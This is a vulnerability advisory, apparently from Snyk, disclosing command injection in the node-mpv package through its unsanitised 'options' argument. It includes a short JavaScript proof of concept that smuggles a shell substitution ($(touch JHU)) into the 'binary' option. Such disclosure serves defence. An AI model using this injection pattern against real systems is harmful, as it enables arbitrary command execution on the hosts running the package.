Command Injection Affecting node-mpv Open this link in a new tab package, versions >=0.12.2


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Confidentiality

    High

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  • snyk-id

    SNYK-JS-NODEMPV-564426

  • published

    5 Apr 2020

  • disclosed

    5 Apr 2020

  • credit

    JHU System Security Lab

How to fix?

There is no fixed version for node-mpv.

Overview

node-mpv is a wrapper to comfortably use mpv player with node.js.

Affected versions of this package are vulnerable to Command Injection. The argument "options" can be controlled by users without any sanitization.

PoC

var Root = require("node-mpv");
var options ={
"binary": '\" $(touch JHU) \"'
}
var root = new Root(options);

References